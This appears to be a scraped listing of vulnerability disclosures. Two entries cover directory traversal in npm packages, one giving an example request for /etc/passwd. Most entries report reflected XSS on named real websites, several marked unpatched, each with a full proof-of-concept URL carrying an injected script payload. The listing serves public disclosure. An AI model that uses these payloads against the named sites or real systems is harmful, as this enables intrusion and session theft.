Directory Traversal

Overview fast-http-cli is the command line interface for fast-http, a simple web server. fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url. Example Request: GET /../../../../../../../../../../etc/passwd HTTP/1.1 hos...

Directory Traversal

Overview Affected versions of cuciuci resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system...

secure.compass1.org XSS vulnerability

Vulnerable URL: https://secure.compass1.org/np/clients/compass/tellFriend.jsp?subject=Attending%20Set%20Your%20House%20in%20Order%20Small%20Group%20Study%20-%20Online%20-%20April%202,%202014=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|---...

kaartenenatlassen.nl XSS vulnerability

Vulnerable URL: https://www.kaartenenatlassen.nl/zoeken?keys=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.10.2017 Vulnerability type:| XSS...

photo-ac.com XSS vulnerability

Vulnerable URL: https://www.photo-ac.com/main/search?creator=aaaaa%27%22+mytestattr%3Dxxx+bad%3D%22%3Edemoniuma%27aa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Edemonium%3C%2Fmytesttag%3E=idt===1====large=-releasedate= Details: Description| Value ---|--- Patched:| No...

andrewdawson.co.uk XSS vulnerability

Vulnerable URL: http://www.andrewdawson.co.uk/search/map/'-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7436570 VIP website status:| No Check...

yeyakwang.co.kr XSS vulnerability

Vulnerable URL: http://www.yeyakwang.co.kr/potal/sub/list.php?schField==%22%3Etrolo%3Ci%3Etralala%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=1sido=gugun=attridx=,18gubun==12 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 03.08.2017 Vulnerability type:| XSS...

rondevanvlaanderen.be XSS vulnerability

Vulnerable URL: http://www.rondevanvlaanderen.be/en/fc/search?s=%27%7D%7D%3B%22%3E%7D%29%3B%7D%29%3B%7D%29%5D--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload%3Dalert%28%27XSSPOSED%27%29%3B%3E%3B%7B%7B%27 Details:...

bildkontakte.de XSS vulnerability

Vulnerable URL: https://www.bildkontakte.de/entrex.php?f=searchList=1=es=or=e=e=18=18=0=0=D&n2;=0=%22%2F%3E%27%3E%22%3Eu%3Ci%3E5%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E=====0===0=0=0=0=0=%22%2F%3E%27%3E%22%3Eu%3Ci%3E5%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E==DESC Details:...

archon.chatham.edu XSS vulnerability

Vulnerable URL: http://archon.chatham.edu/?p=core/contact=email=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

mapy.atlasfirem.info XSS vulnerability

Vulnerable URL: http://mapy.atlasfirem.info/s/stat-3-ceska-republika-strana-3.html?s=%20%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

magicseaweed.com XSS vulnerability

Vulnerable URL: http://magicseaweed.com/Roca-Loca-Surf-Photos/467"' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:|...

yourglutenfreedom.co.uk XSS vulnerability

Vulnerable URL: http://www.yourglutenfreedom.co.uk/listing-map/?filter=alltext==restaurant="'--!=offlocationlat=locationlong==10page=10locmaxinput=150locincrstep=1locationenable=No= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability type:| XSS...

ivwheels.com XSS vulnerability

Vulnerable URL: http://ivwheels.com/places/search/type:3%22%27%2D%2D%21 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

dunamenti.hu XSS vulnerability

Vulnerable URL: http://www.dunamenti.hu/search/index.php?q=%22%3Eblub%3Csvg/onload=alert/OPENBUGBOUNTY/%3E%22%3Eblub%3Csvg/onload=alert/OPENBUGBOUNTY/%3Eid=49 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

dixyog.youclip.mobi XSS vulnerability

Vulnerable URL: http://dixyog.youclip.mobi/search/index.xhtml?keyword=%22%3E%3Csvg%20onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

desimaalz.youclip.mobi XSS vulnerability

Vulnerable URL: http://desimaalz.youclip.mobi/search/index.xhtml?keyword=%22%3E%3Csvg%20onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

immostreet.ch XSS vulnerability

Vulnerable URL:...

colombialicita.com XSS vulnerability

Vulnerable URL: https://colombialicita.com/resumen/entidades/38?ano=2011=municipioid Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 739976 VIP website status:| No Coordinated...

southerndhb.govt.nz XSS vulnerability

Vulnerable URL: http://www.southerndhb.govt.nz/pages/search-results/?keywordSearch=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest che...